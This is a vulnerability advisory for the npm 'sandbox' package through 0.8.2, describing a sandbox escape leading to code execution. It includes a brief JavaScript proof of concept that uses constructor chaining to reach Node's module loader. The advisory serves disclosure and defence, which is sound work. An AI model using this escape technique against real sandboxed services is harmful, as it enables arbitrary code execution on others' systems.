Advisory

GHSA-fm4j-4xhm-xpwx

Also known as: None

Summary

Sandbox Breakout / Arbitrary Code Execution in sandbox

Details

All versions of sandbox through 0.8.2 are vulnerable to Sandbox Escape leading to Remote Code Execution. Due to insufficient input sanitization it is possible to escape the sandbox using constructors.

Proof of concept

var Sandbox = require("sandbox")
s = new Sandbox()
code = `new Function("return (this.constructor.constructor('return (this.process.mainModule.constructor._load)')())")()("util").inspect("hi")`
s.run(code)

Recommendation

No fix is currently available. Consider using an alternative module until a fix is made available.

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2020-09-02 15:51 UTC
Modified
2026-02-03 17:47 UTC

Affected packages and fixes

sandbox

npm · All systems

Affected

  • introduced 0.0.0 (semver)

Fixed versions

None listed

Fix

No fixed version is listed.

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences